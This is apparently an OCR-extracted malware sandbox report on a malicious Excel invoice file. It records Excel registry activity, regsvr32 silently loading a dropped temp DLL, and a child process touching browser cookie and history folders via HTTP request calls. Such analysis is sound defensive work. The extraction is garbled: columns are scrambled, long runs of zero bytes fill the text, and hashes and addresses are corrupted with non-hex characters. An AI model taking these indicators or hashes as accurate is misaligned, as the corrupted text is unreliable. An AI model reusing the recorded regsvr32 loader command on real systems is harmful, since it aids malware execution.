00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00
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Source

Key Path Name Type Data Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Mic F44DD binary 04 00 00 00 EC 07 00 00 37 00 00 00 success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\Resil 43 00 3A 00 5C 00 55 00 73 00 65 00

iency\DocumentRecovery\F44DD 7200 73 00 5C 00 41 00 6C 00 62 00

7500 73 00 5C 00 44 00 65 00 73 00
6B 00 74 00 6F 00 70 00 5C 00 49
00 6E 00 76 00 30 00 32 00 30 00 39
00 39 00 36 00 36 00 30 00 34 00 38
00 2D 00 32 00 30 00 32 00 31 00 30
00 31 00 31 00 31 00 30 00 37 00 35
00 36 00 37 00 35 00 2E 00 78 00 6C
00 73 00 00 00 00 00 17 00 00 00 43
00 3A 00 5C 00 55 00 73 00 65 00 72
00 73 00 5C 00 41 00 6C 00 62 00
7500 73 00 5C 00 44 00 65 00 73 00
6B 00 74 00 6F 00 70 00 5C 00 01
00 00 00 01 00 00 00 00 14 C5 34 F9
E8 D6 01 DD 44 OF 00 DD 44 OF 00
00 00 00 00 B8 02 00 00 6E 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
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Source

Key Path Name Type Data Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Mic )9 binary 3A 2939 00 EC 07 00 00 02 00 00  success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\Resiliency\Startupltems 00 00 00 00 00 88 00 00 00 01 00 00

00 42 00 00 00 3A 00 00 00 69 00 6E
00 76 00 30 00 32 00 30 00 39 00 39
00 36 00 36 00 30 00 34 00 38 00 2D
00 32 00 30 00 32 00 31 00 30 00 31
00 31 00 31 00 30 00 37 00 35 00 36
00 37 00 35 00 2E 00 78 00 6C 00 73
00 00 00 69 00 6E 00 76 00 30 00 32
00 30 00 39 00 39 00 36 00 36 00 30
00 34 00 38 00 2D 00 32 00 30 00 32
00 31 00 30 00 31 00 31 00 31 00 30
00 37 00 35 00 36 00 37 00 35 00 00
00

Key Value Modified

Source
Key Path Name Type Old Data New Data Completion Count Address Symbol

HKEY_LOCAL_MACHINE\SOF SpellingAndGrammarFile dword 1358626844 1378615325 success or wait 1 14080828C ShellExecuteA
TWARE\Mi s_3082

crosoft\Windows\CurrentVersio

n\Installer\UserData\S-1-5-18\P

roducts\00004109F100A0C001

00000000F01FEC\Usage

HKEY_LOCAL_MACHINE\SOF SpellingAndGrammarFile dword 1378615325 1378615326 success or wait 1 14080828C ShellExecuteA
TWARE\Mi s_3082

crosoft\Windows\CurrentVersio

n\Installer\UserData\S-1-5-18\P

roducts\00004109F100A0C001

00000000F01FEC\Usage

HKEY_LOCAL_MACHINE\SOF SpellingAndGrammarFile dword 1358626844 1378615325 success or wait 1 14080828C ShellExecuteA
TWARE\Mi s_1036

crosoft\Windows\CurrentVersio

n\Installer\UserData\S-1-5-18\P

roducts\00004109F100C040010

0000000F01FEC\Usage

HKEY_LOCAL_MACHINE\SOF SpellingAndGrammarFile dword 1378615325 1378615326 success or wait 1 14080828C ShellExecuteA
TWARE\Mi s_1036

crosoft\Windows\CurrentVersio

n\Installer\UserData\S-1-5-18\P

roducts\00004109F100C040010

0000000F01FEC\Usage

HKEY_LOCAL_MACHINE\SOF SpellingAndGrammarFile dword 1358626865 1378615346 success or wait 1 14080828C ShellExecuteA
TWARE\Mi s_1033

crosoft\Windows\CurrentVersio

n\Installer\UserData\S-1-5-18\P

roducts\00004109F1009040010

0000000F01FEC\Usage

HKEY_LOCAL_MACHINE\SOF SpellingAndGrammarFile dword 1378615346 1378615347 success or wait 1 14080828C ShellExecuteA
TWARE\Mi s_1033

crosoft\Windows\CurrentVersio

n\Installer\UserData\S-1-5-18\P

roducts\00004109F1009040010

0000000F01FEC\Usage

HKEY_LOCAL_MACHINE\SOF SpellingAndGrammarFile dword 1378615326 1378615327 success or wait 1 14080828C ShellExecuteA
TWARE\Mi s_3082

crosoft\Windows\CurrentVersio

n\Installer\UserData\S-1-5-18\P

roducts\00004109F100A0C001

00000000F01FEC\Usage

HKEY_LOCAL_MACHINE\SOF SpellingAndGrammarFile dword 1378615327 1378615328 success or wait 1 14080828C ShellExecuteA
TWARE\Mi s_3082

crosoft\Windows\CurrentVersio

n\Installer\UserData\S-1-5-18\P

roducts\00004109F100A0C001

00000000F01FEC\Usage

HKEY_LOCAL_MACHINE\SOF SpellingAndGrammarFile dword 1378615326 1378615327 success or wait 1 14080828C ShellExecuteA
TWARE\Mi s_1036

crosoft\Windows\CurrentVersio

n\Installer\UserData\S-1-5-18\P

roducts\00004109F100C040010

0000000F01FEC\Usage

HKEY_LOCAL_MACHINE\SOF SpellingAndGrammarFile dword 1378615327 1378615328 success or wait 1 14080828C ShellExecuteA
TWARE\Mi s_1036

crosoft\Windows\CurrentVersio

n\Installer\UserData\S-1-5-18\P

roducts\00004109F100C040010

0000000F01FEC\Usage
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Key Path Name

HKEY_LOCAL_MACHINE\SOF SpellingAndGrammarFile
TWARE\Mi s_1033
crosoft\Windows\CurrentVersio
n\Installer\UserData\S-1-5-18\P
roducts\00004109F1009040010

0000000F01FEC\Usage

HKEY_LOCAL_MACHINE\SOF SpellingAndGrammarFile
TWARE\Mi s_1033
crosoft\Windows\CurrentVersio
n\Installer\UserData\S-1-5-18\P
roducts\00004109F1009040010

0000000F01FEC\Usage

HKEY_LOCAL_MACHINE\SOF ProductFiles
TWARE\Mi

crosoft\Windows\CurrentVersio
n\Installer\UserData\S-1-5-18\P
roducts\00004109D3000000010
0000000F01FEC\Usage

HKEY_LOCAL_MACHINE\SOF ProductFiles
TWARE\Mi

crosoft\Windows\CurrentVersio
n\Installer\UserData\S-1-5-18\P
roducts\00004109D3000000010
0000000F01FEC\Usage

HKEY_LOCAL_MACHINE\SOF ProductFiles
TWARE\Mi

crosoft\Windows\CurrentVersio
n\Installer\UserData\S-1-5-18\P
roducts\00004109D3000000010
0000000F01FEC\Usage

HKEY_LOCAL_MACHINE\SOF ProductFiles
TWARE\Mi

crosoft\Windows\CurrentVersio
n\Installer\UserData\S-1-5-18\P
roducts\00004109D3000000010
0000000F01FEC\Usage

HKEY_LOCAL_MACHINE\SOF ProductNonBootFilesIntl_
TWARE\Mi 1033
crosoft\Windows\CurrentVersio
n\Installer\UserData\S-1-5-18\P
roducts\00004109E6009040010

0000000F01FEC\Usage

Type

dword

dword

dword

dword

dword

dword

dword

Old Data
1378615347

1378615348

1378615342

1378615343

1378615344

1378615345

1378615297

New Data

1378615348

1378615349

1378615343

1378615344

1378615345

1378615346

1378615298

Completion Count

success or wait 1

success or wait 1

success or wait 1

success or wait 1

success or wait 1

success or wait 1

success or wait 1

Source

Address Symbol

14080828C ShellExecuteA

14080828C

ShellExecuteA

14080828C

ShellExecuteA

14080828C

ShellExecuteA

14080828C

ShellExecuteA

14080828C

ShellExecuteA

7FEEAC59ACO unknown

Analysis Process: regsvr32.exe PID: 2356 Parent PID: 2028

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

File Read

File Path
C:\Users\user\AppData\Local\Temp\lwjmdgav.dll
C:\Users\user\AppData\Local\Temp\lwjmdgav.dll

07:39:51
12/01/2021

C:\Windows\System32\regsvr32.exe

false

‘C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\lwjmdgav.dIl.

0xff6e0000
19456 bytes

59BCE9F07985F8A4204F4D6554CFF708

true

true

C, C++ or other language

high

Offset
unknown

unknown

Length Completion
64 success or wait
264 success or wait

Source
Count Address Symbol
1 FF6E274D ReadFile
1 FF6E279B ReadFile
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Analysis Process: regsvr32.exe PID: 2328 Parent PID: 2356

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

File Created

File Path

C:\Users\user

C:\Users\user\AppData\Local

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files

C:\Users\user

C:\Users\user\AppData\Roaming

C:\Users\user\AppData\Roaming\Microsoft\Windows\Cookies

C:\Users\user

C:\Users\user\AppData\Local

C:\Users\user\AppData\Local\Microsoft\Windows\History

Copyright null 2021

Access

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

07:39:51
12/01/2021
C:\Windows\SysWOW64\regsvr32.exe
true

-s C:\Users\user\AppData\Local\Temp\lwjmdgav.dIl.
0xf80000
14848 bytes
432BE6CF7311062633459EEF6B242FB5
true
true
C, C++ or other language

moderate

Source

Attributes Options Completion Count

device | sparse 8C390E

file

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

object name collision 1

device | sparse 8C390E

file

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

object name collision 1

device | sparse 8C390E

file

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

object name collision 1

device | sparse 8C390E

file

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

object name collision 1

device | sparse 8C390E

file

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

object name collision 1

device | sparse 8C390E

file

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

object name collision 1

device | sparse 8C390E

file

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

object name collision 1

device | sparse 8C390E

file

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

object name collision 1

device | sparse 8C390E

file

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

object name collision 1

Address

Symbol
HttpSendRequestW

HttpSendRequestW

HttpSendRequestW

HttpSendRequestW

HttpSendRequestW

HttpSendRequestW

HttpSendRequestW

HttpSendRequestW

HttpSendRequestW
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File Path

Access

Attributes Options Completion

Source
Count Address Symbol

C:\Users\user\AppData\Local\Temp\Cab35C0.tmp read attributes | device | sparse synchronous io success or wait 1 8C390E HttpSendRequestW
synchronize | file non alert | non
generic read directory file
C:\Users\user\AppData\Local\Temp\Tar35C1.tmp read attributes | device | sparse synchronous io success or wait 1 8C390E HttpSendRequestW
synchronize | file non alert | non
generic read directory file
Source
File Path Completion Count Address Symbol
Source
File Path Offset Length Value Ascii Completion Count Address Symbol
Source
File Path Offset Length Completion Count Address Symbol
Registry Activities
Source
Key Path Name Type Old Data New Data Completion Count Address Symbol
Analysis Process: DW20.EXE PID: 3052 Parent PID: 2028
General
Start time: 07:40:16
Start date: 12/01/2021
Path: C:\Program Files\Common Files\Microsoft Shared\DW\DW20.EXE

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

false

'C:\PROGRA~1\COMMON~1\MICROS~1\DW\DW20.EXE' -x -s 1488

0x13fc20000

995024 bytes
45A078B2967E0797360A2D4434C41DB4
true

true

C, C++ or other language

Reputation: moderate
Analysis Process: DWWIN.EXE PID: 2968 Parent PID: 3052
General
Start time: 07:40:16
Start date: 12/01/2021
Path: C:\Windows\System32\DWWIN.EXE

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

File Path

File Path

Copyright null 2021

Access

false

C:\Windows\system32\dwwin.exe -x -s 1488
0xff980000

152576 bytes
25247E3C4E7A7TAT3BAEEA6C0008952B1
true

true

C, C++ or other language

moderate

Attributes Options Completion

Completion

Source
Count Address Symbol

Source
Count Address Symbol
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Source

File Path Offset Length Value Ascii Completion Count Address Symbol
Source

File Path Offset Length Completion Count Address Symbol

Disassembly

Code Analysis
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